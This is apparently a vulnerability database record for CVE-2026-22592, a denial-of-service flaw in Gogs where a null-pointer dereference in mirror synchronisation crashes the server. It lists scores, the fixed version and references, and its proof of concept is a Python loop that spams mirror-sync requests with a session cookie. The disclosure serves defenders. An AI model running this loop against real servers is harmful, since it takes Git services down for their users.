{"id":"CVE-2026-22592","aliases":["GHSA-cr88-6mqm-4g57","GO-2026-4451"],"url":"https://o3.security/vulnerability/CVE-2026-22592","summary":"Gogs is Vulnerable to Denial of Service","details":"### Summary\nAn authenticated user can cause a DOS attack. If one of the repo files is deleted before synchronization, it will cause the application to crash.\n\n### Details\nIf GetMirrorByRepoID fails, the error log dereferencing null pointer. This happens if the repository no longer exits.\nhttps://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L333-L337\nif `err != nil` `m` is alwasa `nil`\nhttps://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L269-L278\n### PoC\nSpam mirror-sync on repo and delete this repo\ncode python spam mirror-sync\n```py\nimport requests\n\nurl = \"http://gogs.lan:3000/superuser/gobypass403/settings\"\nheaders = {\n    \"Cookie\": \"lang=en-US; i_like_gogs=fe32281ab84ae868; _csrf=UCw6xvqR-L7YLBMPjujwjywxy8s6MTc2NDc3NDQ2NDE1MzU5ODQ3Mg\",\n}\n\ndata = {\n    \"_csrf\": \"UCw6xvqR-L7YLBMPjujwjywxy8s6MTc2NDc3NDQ2NDE1MzU5ODQ3Mg\",\n    \"action\": \"mirror-sync\",\n}\n\nwhile True:\n    print(\"syncing\")\n    response = requests.post(url, headers=headers, data=data)\n```\n### Impact\nDenial of Service server crash.","published":"2026-02-06T17:42:26.326Z","modified":"2026-08-12T03:51:42.560453955Z","cvss":{"score":6.5,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"},"epss":{"score":0.00336,"percentile":0.26068,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"gogs.io/gogs","fixedVersion":"0.13.4"}],"fix":{"url":"https://github.com/gogs/gogs/commit/961a79e8f9f2b3190ea804bcf635e4b43b123272","label":"gogs/gogs@961a79e"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/22xxx/CVE-2026-22592.json"},{"type":"ADVISORY","url":"https://github.com/gogs/gogs/security/advisories/GHSA-cr88-6mqm-4g57"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22592"},{"type":"WEB","url":"https://github.com/gogs/gogs/commit/961a79e8f9f2b3190ea804bcf635e4b43b123272"},{"type":"PACKAGE","url":"https://github.com/gogs/gogs"},{"type":"WEB","url":"https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L269-L278"},{"type":"WEB","url":"https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L333-L337"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:42.560453955Z"}}